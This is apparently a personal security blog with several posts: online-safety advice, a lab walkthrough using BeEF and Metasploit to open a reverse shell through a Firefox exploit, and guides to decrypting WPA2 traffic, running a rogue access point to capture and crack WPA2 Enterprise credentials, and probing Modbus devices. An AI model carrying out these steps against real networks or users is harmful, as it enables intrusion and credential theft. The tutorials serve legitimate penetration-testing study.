Saturday, February 20, 2016

Five step guide to keeping yourself secure online

Five steps to take to keep yourself secure online based on how attackers actually operate. Do these 5 steps consistently and you will be well-protected against many of the online threats.

Threat Model: for this article, I'm assuming that the threat the user is facing is the standard cyber criminal one, e.g., Dyre, Dridex, Pony, CryptoLocker/CryptoWall and the associated spam/phishing campaigns and exploit kits which deploy them. If you are legitimately concerned about nation state adversaries, then you should know better to be taking advice from random blogs on the Internet!

#1 Don't click on suspicious links and don't open unsolicted attachments

Attackers like to use Exploit Kits to compromise users to distribute malware. Malware for normal users is often either Ransomware (like CryptoLocker/CryptoWall) which encrypts your files and holds the decryption keys for ransom (typically BitCoin) or credential-stealing malware (like Pony) which attempt to harvest your usernames and passwords. Exploit Kits are typically deployed to compromised legitimate websites or Ad networks. They profile your web browser looking for vulnerable software and plugins which they then exploit to drop malware. Anti Virus can sometimes catch this stuff but it's more effective to not visit suspicious site (#1), use an ad-blocker (#5) and patch your system, especially your browser plugins (#2).

Targeted attacks (which can be an issue if you work somewhere "interesting") and some spam campaigns will attempt to drop malware onto your system by tricking you into opening a malicious attachment (a.k.a, (Spear)phishing). You can be compromised either if you are running document software which is vulnerable to exploitation (e.g., old versions of Adobe PDF Reader or MS Office) or if you are tricked into enabling dynamic content like Macros (MS Office) or JavaScript (PDF). Don't ever enable Macros in an MS Office document. Just don't.

Suspicious links can be links to sites you don't know or don't normally visit. They can be links which closely resemble a site you trust (this is called typo-squatting). If you are suspicious of a link, you can try URLquery or Phishtank to see if other people have flagged the link as malicious. Best not to click anyway if you're unsure!

#2 Patch/Update your systems (and make backups!)

In order to drop malware onto your system, an attacker will need you to execute code on their behalf. Typically, you don't want to do this so your Operating System and applications will have protections against attackers injecting code into them. These protections sometimes fail and that causes a vulnerability. Some vulnerabilities can be exploited by an attacker to run code your system. When vendors catch these vulnerabilities, they often patch them thereby making it harder for an attacker to exploit your system. Indeed, most attacks leverage known vulnerabilities. So, patch everything! That means:
  • Browser plugins (these are the BIGGEST targets for attackers, especially Flash (better yet, uninstall it and use HTML5 video) but also Java and Silverlight (again, my preference is to simply uninstall, you hopefully don't need them anymore), you MUST have your browser plugins updated)
  • Operating System (Windows, Mac, Linux) - even better to enable automatic updates
  • Browsers (Firefox or Chrome - don't use IE or Safari)
  • Applications (MS Office & Adobe Reader are the main culprits here)
  • Servers that you run which are connected to the Internet (in particular any CMS like WordPress or Drupal that you use for personal web pages, photo sharing, etc.)
  • Mobile devices (Android is terrible for this, iOS is much better) and their applications (e.g., Google Play Store or iTunes)
  • Anything else you can lay your hands on (BluRay players, whatever...)
Making backups (Window Backup, Time Machine on the Mac, Déjà Dup on Ubuntu) also helps to protect you against certain types of Ransomware which don't encrypt attached storage devices.Most Ransomware targets Windows systems, but it's a good idea to keep backups no matter which platform you're using.

Bonus tip: don't run as Administrator/root. UAC & sudo are there for a reason! Increase attacker costs!


#3 Use strong, unique passwords for each site (use a password manager)

Attackers love to reuse your passwords. Attackers love to guess your weak password by using wordlists full of common passwords. The typical workflow is to break into some poorly-secured website (like a forum site) and grab all the passwords. Once the passwords have been uncovered from the password hashes (how passwords are stored internally by the server), the passwords are then reused against high-profile sites like Google, Facebook, Amazon, PayPal, etc. The weaker the passwords are, the less work the attackers need to do. The more widely reused a password is, the greater the exposure.
The solution is to use long, complex (upper case, lower case, numbers & special characters - not based on a dictionary word), unique passwords for each site. This means that if an attacker gains access to a site that you use, they might not be able to break your password as it's not a common one that can be easily guessed. If they do guess it somehow, it won't give them access to any other site used by you. This is a good thing.
In reality, it's simply too hard for a human to do this, so you need to use a handy bit of software called a Password Manager to manage these long, complex, unique passwords for you. I use LastPass. But 1pass or any other well-known Password Manager will do the job nicely.


#4 Use Two Factor Authentication

Also known as Multi Factor Authentication. It basically means that there is an additional authentication step which needs to be taken before you can login with a username/password. You may be familiar with hardware tokens issued by banks which provide you with a one-time password (a temporary password that is only used once) to authenticate yourself with. This is a strong security control as not only does an attacker need to have access to your username & password, but also to however you do your Two Factor Authentication, typically your mobile phone. Effectively you can give out your username & password or have it stolen via the Pony malware (#3) and an attacker still won't be able to login as you.
Google Authenticator works pretty well. Facebook and Twitter also support Two Factor Authentication and Amazon is in the process of rolling it out. Use it.


 #5 Use an Ad-Blocker 

Exploit Kits (#1) are often distributed through online adverts (a.k.a., malvertising - often exploiting Flash (#2)). Nobody likes adverts anyway, so just block them. I use uBlock Origin for Firefox & Chrome (don't use IE or Safari anyway). This protects you from attackers and makes your web experience much more pleasant. Win-win!


A Word on Anti-Virus

They're better than nothing. Marginally. So you should use one. Kaspersky is pretty much the best. But in terms of keeping yourself safe from how attackers actually attack in the real-world, I believe that the above 5 steps are more useful.
If you're a power Windows user, you should be using EMET.

Further Reading

Friday, April 4, 2014

Using BEEF & Metasploit to pop a shell with Firefox on Linux


Bake the following VMs (I use VMware, I guess this will work with VirtualBox too but I haven't tried it)
  • For the purposes of this blog post, the Kali Linux VM has the IP address of and the Ubuntu VM has, you will need to change this to suit your local setup
  • I would use the NAT or Local Host-only networking configuration for your VMware setup

Kali Linux

  • Check that BEEF is installed
    • apt-get install beef-xss
  • Enable metasploit integration
    • Edit /etc/beef-xss/config.yaml
      • Set metasploit:
                    enable: true
    • Edit /usr/share/beef-xss/extensions/metasploit/config.yaml
      • Set host and callback_host to be the IP address of the external interface of your Kali Linux VM
    • Start msfconsole and then issue the following command to enable the RPC server:
      • load msgrpc ServerHost=<your IP address> Pass=abc123
  • Start beef
    • cd /usr/share/beef-xss
    • beef -x
  • You can now browse to the BEEF UI (user/pass: beef) and start hooking browsers! :-)


  • Your browser will now be hooked into BEEF, if you go back to your Kali VM and check out the BEEF panel, you should see your browser hooked there.
  • There are all kinds of funky things that you can do, but for now, we're going to concentrate on popping a shell

Kali Linux

  • Go to your running msfconsole and enter
    • use exploit/multi/browser/firefox_proto_crmfrequest
    • set PAYLOAD firefox/shell_reverse_tcp
    • set LHOST
    • exploit
  • Now metasploit should be running the exploit server and it will provide you with a target URL (, the next step is to get the victim browser to access it
  • The stealthy way to do this is to get BEEF to generate an invisible iframe for you on the victim browser
  • Go back to the BEEF panel and choose your hooked browser and then:
  • You should now see the following output in msfconsole: 
    • [*] firefox_proto_crmfrequest - Gathering target information. 
    • [*] firefox_proto_crmfrequest - Sending response HTML. 
    • [*] firefox_proto_crmfrequest - Sending HTML [*] firefox_proto_crmfrequest - Sending the malicious addon 
    • [*] Command shell session 1 opened ( -> at 2014-04-04 12:11:44 +0100
  • Congrats, you've now popped a shell! :-)
  • Confirm with: sessions -l
  • Start to interact with it with: sessions -i <session number>
  • Try something like: 
    • uname -a
      Linux vuln-client 2.6.24-26-generic #1 SMP Tue Dec 1 18:37:31 UTC 2009 i686 GNU/Linux
  • Enjoy the pwnage, poppin' shells like you're at a seafood restaurant! ;-)

Tuesday, October 29, 2013

Sniffing WPA2-PSK encrypted wireless networks

Sniffing WPA2 encrypted wireless networks is actually a pretty straightforward task, which is reasonably well-documented elsewhere, except for one major hurdle I had to overcome which I did not find documented anywhere else. Read on!

For sniffing network traffic, the most well-known tool aside from the venerable tcpdump is Wireshark. It's an extremely powerful tool which has the capability to transparently decrypt WPA2 encrypted traffic on-the-fly, provided that you know the credentials to get access to the network in the first place. In my previous blog post, I described how you can break into a WPA2-PSK network by performing a dictionary attack against a captured hash. Assuming that you have recovered the key by this technique (or some other approach), you're now in a position to start sniffing.

Almost all of the documents I found on the web detailed what should be a pretty trivial task, namely, putting your plaintext key into Wireshark. I will recap the steps here for Wireshark 1.8.2 (other versions of Wireshark will look a bit differently):
  • Start Wireshark
  • Then "Edit" -> "Preferences"
  • Expand the "Protocols" field in the menu
  • Scroll all the way down to "IEEE 802.11"
  • Tick the "Enable decryption" checkbox
  • Then hit the "Edit" button by "Decryption Keys"
  • In the new window that popped up, hit "New"
  • Yet another window will pop up, select "wpa-pwd" if you're putting in a plaintext password or "wpa-psk" if you have the actual hex key
    • Don't forget that the password is case-sensitive!
  • Put in your key, and hit "OK"
Usually this works just fine, but I found sometimes that even if I did this correctly, the traffic would not decrypt! I would see some low-level 802.11 traffic (EAPOL, etc.) but I would not see the decrypted traffic (HTTP, etc.) which Wireshark was supposed to show. After much searching and cursing, I found out that the problem was associated with the actual wireless card I was using! Bizarrely enough, some TP-Link USB dongle that I was using did not work, but the built-in Atheros AR9462 wireless card of the Acer Revo I was testing with worked flawlessly. So, changing the actual hardware "magically" let the decrypt start working correctly. If you have this problem, I hope that this helps you as it was an extremely frustrating experience to try to solve this issue!

I tested this on both Kali Linux and Ubuntu 13.04.

Obviously: only use these tools against a network that you are authorized to assess!

Sunday, June 9, 2013

Free & Open Source Modbus/TCP tools

If you're interested in playing around with the Modbus protocol, you probably want to start with free, or preferably, open source tools. Here are the ones I've found useful:


  • Metasploit - Everyone's favourite penetration testing tool has by default a bunch of modules which are helpful for analyzing Modbus services. I often use the modbusdetect and modbusclient modules for checking to see if a service is actually a valid Modbus service and triggering IDS' like Snort which are using Modbus rules.
  • Modscan - This basic tool allows you to check if a service is an actual Modbus service, like the Metasploit modules, but is a simple, self-contained Python script so you don't need to install the entire Metasploit framework to see if a service is an actual Modbus service or not. I can also reliably crash my test PLC hardware with a couple of scans from this script, so be careful! :-)
  • PLCscan - This script allows you to also probe a Modbus service to see if it's genuine, but I found it personally to not be as useful as the previous two tools. It does have some specific, non-Modbus, functionality for Siemens PLCs which may be of use to you, however.
  • Wireshark - The best network sniffer around, bar none. Contains modbus decoding modules.
  • Nmap - The best port scanner around, bar none. Useful if you need to quickly check for open ports.


  • Modscan64 (not to be confused with the Modscan tool above) - This tool is free, but could be more accurately classified as nagware. It's great for dumping all the registers of a Modbus service and seeing what is laid out in the memory of PLC, but it's a bit awkward to use.
  • CAS Modbus Scanner - This tool is completely free but I personally found to not be as useful at revealing the internals of a Modbus service as Modscan64.


  • Digital Bond SCADA HoneyNet - The good folks at Digital Bond have created a SCADA Honeypot which emulates Modbus, HTTP, FTP and SNMP for a Modicon PLC. The instructions that come with it are for the old version of VMWare Server, so if you want to run it with the new VMWare Server, be prepared for a struggle. However, you can just extract the protocol simulators (like Modbus) which are just standard Java programs and run them yourself. The system that you can download provides you with an emulated PLC and the networking infrastructure around it for you to monitor any potential attacks. It is not being actively developed, AFAICT.
  • ConPot - A new SCADA/ICS honeypot which currently emulates Modbus and SNMP. It is much simpler to setup than the Digital Bond SCADA HoneyNet but has pretty much the same functionality. It is currently under active development.
Obviously: only use these tools against a network that you are authorized to assess!  

Cracking WPA2 Enterprise wireless networks with FreeRADIUS WPE, hostapd and asleap & John the Ripper

Some wireless networks, especially in companies, don't use the pre-shared key approach (WPA2-PSK) for restricting access, but rather use individual usernames and passwords instead (WPA2 Enterprise). This is typically done by implementing the 802.1x standard through the use of a RADIUS server. Whilst this setup appears to be more secure, like the previous feature on WPA2-PSK cracking showed, the wireless network is as only secure as the passwords used, in the case of a very common (mis)configuration where there is no mutual authentication. There is a bit more work involved than in the WPA2-PSK case and this is the topic of this blog post.

The general approach is to impersonate an access point in the wireless network you are attacking and to run your own RADIUS server which will capture the password hashes for you which you can then later crack offline using asleap. I used a Raspberry Pi running Kali Linux (the successor to the famous BackTrack distro) for this task, so YMMV.

  • There is a patch to FreeRADIUS called FreeRADIUS Wireless Pwnage Edition (WPE) which is very useful for this process. Since I was using a Pi which is ARM-based rather than x86-based, I needed to compile FreeRADIUS WPE from source. First grab the sources via Git:
    • git clone
  • Go into the FreeRADIUS directory and patch it with:
    • patch -p1 < ../freeradius-wpe.patch   
  • Compile FreeRADIUS WPE with:
    • ./configure
    • make
    • Optional: sudo make install
  • Bootstrap the FreeRADIUS WPE server with:
    • cd /usr/local/etc/raddb/certs
    • ./bootstrap && ldconfig
  • Now you can start FreeRADIUS WPE in debug mode with
    • radiusd -X
  • By default FreeRADIUS WPE logs credentials to:
    • /usr/local/var/log/radius/freeradius-server-wpe.log

Now you have the RADIUS server which can capture the credentials from the 802.1x authentication. The next step is to create an access point for impersonating the wireless network you are attacking. You can use an external access point (using a custom firmware like DD-WRT) but for this exercise I used a D-Link wireless dongle plugged into the Pi and hostapd. You can install the vanilla version of hostpad via apt-get on Kali Linux or Ubuntu, but they only have version 1.1 in the repositories. If you want to crack WPA2 Enterprise networks you need to compile hostapd version 2.0 from source.
  • Grab the sources for hostapd v2.0 with:
    • wget
  • Extract it and then go to the hostapd directory itself and build it with:
    • make && make install
  • Start hostapd with an appropriate configuration file (I use the debug flags for extra info):
    • hostapd -dd hostapd-wpe.conf
An example of an appropriate config file for a WPA2 Enterprise access point would be (assuming that your FreeRADIUS WPE server is listening on localhost):


Pro-tip: check that you don't have wpa_supplicant or any other process running in the background which is attempting to control the wireless interface. If any other process is attempting to control the wireless interface then hostapd will fail to start.

Notice that the settings here need to correspond as closely as possible to the settings of the access point that you need to emulate, in terms of offered ciphers, etc. Pay special attention to WPA1 vs. WPA2 which are not the same standard. You can check the configuration of the access point you wish to emulate with iwlist <interface_name> scanning, for example.

This particular tutorial covers breaking the EAP-MSCHAPv2 password authentication protocol. Other WPA2 Enterprise networks might use EAP-TLS, for example, which is certificate-based and is out-of-scope of this tutorial.

Now when a client connects to your fake access point they will be prompted for their username and password. Some Windows clients are even configured to send their credentials immediately as soon as they are connected to a WPA2 Enterprise network. If you are lucky and the client is not configured to warn about self-signed certificates (which is sadly all too often the case), then they will see absolutely no difference between the real access point and your fake one. FreeRADIUS WPE will cheerfully log the credentials for you which you can then feed into asleap:

tail -f /usr/local/var/log/radius/freeradius-server-wpe.log

mschap: Sat Jun  1 08:46:56 2013

 username: test
 challenge: 1b:0a:dd:d9:e6:50:5c:e7
 response: de:f3:a8:1f:7e:3c:43:db:04:f8:a0:75:ce:53:53:ca:70:35:71:76:2d:0c:e6:b5
 john NETNTLM: test:$NETNTLM$1b0addd9e6505ce7$def3a81f7e3c43db04f8a075ce5353ca703571762d0ce6b5

You need to now feed these challenge & response values from the FreeRADIUS WPE log into asleap.
  • Crack the captured credentials from FreeRADIUS WPE with asleap:
    • asleap -C <challenge> -R <response> -W <wordlist>
If you get a problem with capturing the challenge/response from the radiusd server, you might need to add:

with_ntdomain_hack = yes
to your /usr/local/etc/raddb/modules/mschap file. As with the WPA2-PSK password cracking, your main weapon is a decent wordlist so invest some time in getting the right wordlist for your needs. 

Asleap is a pretty basic tool and if you have a lot of passwords to crack and a simple wordlist-based attack is not yielding many results for you, you can use other tools. John the Ripper (JtR) is a very well-known password cracker which can crack MSCHAPv2. There is one caveat, however. The hot new thing in password cracking is the usage of GPUs through NVIDIA's CUDA or AMD's OpenCL  for superfast optimized cracking. The bad news is that John the Ripper (although it supports CUDA in an experimental form) does not have a CUDA version of the MSCHAPv2 cracking algorithm. The other current favourite weapon of choice for the aspiring password cracker is HashCat (the GPU versions are called oclHashCat and cudaHashCat) which similarly does not support MSCHAPv2 in its GPU-optimized configurations. So, you're pretty much stuck with John the Ripper and whatever CPUs you happen to have lying around (unless you pony up 100 USD to use the service).

  • Download the source code of the jumbo patch version of JtR as you will need to compile it from scratch:
  • Extract it
    • tar jxvf john-1.7.9-jumbo-7.tar.bz2
  • Edit the params.h file in the src/ directory and set CHARSET_LENGTH to whatever length of password you expect to encounter
  • Edit the Makefile and, assuming you're using a modern machine, comment the OMPFLAGS= option and uncomment the OMPFLAGS = -fopenmp -msse2 option. Now you will be able to use all the multithreading features of your multicore CPUs
  • Now build JtR (you could also build the GPU features here, but we won't be using them):
    • make linux-x86-64-native
  • Once JtR has built successfully, you can try breaking your captured credentials. From the FreeRADIUS WPE log file you can simply copy & paste the value of the "john NETNTLM:" field for each set of captured credentials into one file. That way you can try JtR on all of your captured hashes in one go.
  • If the standard wordlist-based attacks are not working, you may need to get creative. One cool feature of JtR is its rules support. That is, a rule can be applied to each of the words in the wordlist to create new words (e.g., adding "2013" after each dictionary word). For JtR, I would recommend grabbing the updated KoreLogic rules from github:
    • git clone
  •  Then use, for example, the top7 rules by running the following command (depending where your john.conf file lives):
    • cat kore-logic-rules-top7.txt >> run/john.conf
  • You can now finally run JtR as follows (explicitly specifying 12 threads for a 12 core machine):
    • OMP_NUM_THREADS=12 ./run/john --wordlist=<wordlist> --rules=KoreLogicRulesTop7 <hashfile>
  • Whilst JtR is running, you can hit space to make JtR display the current status, or from a separate terminal window, you can run john --status
  • You can also run JtR in markov mode where it uses a statistical model to guess which character patterns are more likely:
    • OMP_NUM_THREADS=12 ./run/john -markov:225:0:0:12 <hashfile>
  • Good luck!
Obviously: only use these tools against a network that you are authorized to assess!  

Saturday, June 8, 2013

Pwning Modbus/TCP

Well, to be honest, although I'm not talking about specific attacks here, any access to a Modbus/TCP service is effectively a "pwn" in my opinion.

Modbus/TCP has a number of function calls:
  • Function code 1 - Read Coils (read-write booleans)
  • Function code 2 - Read Discrete Inputs (read-only booleans)
  • Function code 3 - Read Holding Registers (read-write integers)
  • Function code 4 - Read Input Registers (read-only integers)
Each of these different data types are stored in a different area of memory, according to Modbus, so you can think of the different function codes as different offsets into the data registers of Modbus. For example, if you have a value in register 41001 which you wish to access via Modbus. You first need to work out which function code covers that area of memory. In this case, it is a Holding Register containing a read-write integer, so therefore you need to use Function code 3 to access it. Function code 3 immediately puts you into the 40000-49999 area of memory, so the memory address you need to supply is not 41001, but instead 1000 (as Modbus indexes from 0, register (4)1001 is represented as 1000 on the wire).

If you put it all together, in order to read an integer in register 41001, you need to send a Modbus/TCP read from the Master to the Slave with the Function Code 3 and the memory address 1000. If you use Wireshark, you should be able to see these exact values in the Modbus queries going from the Master to the Slave.

Scripting metasploit with msfcli

I found the tutorials on the web to not work out of the box as msfcli is very picky about the format of the arguments, this is the snippet I used to do some testing, a super-simple Bash script (instead of the `cat file4` you can put whatever funky ls magic you need to do to locate your file):
for host in `cat file4`
        echo pwning host $host;
        msfcli "auxiliary/scanner/scada/modbusdetect" RHOST $host E;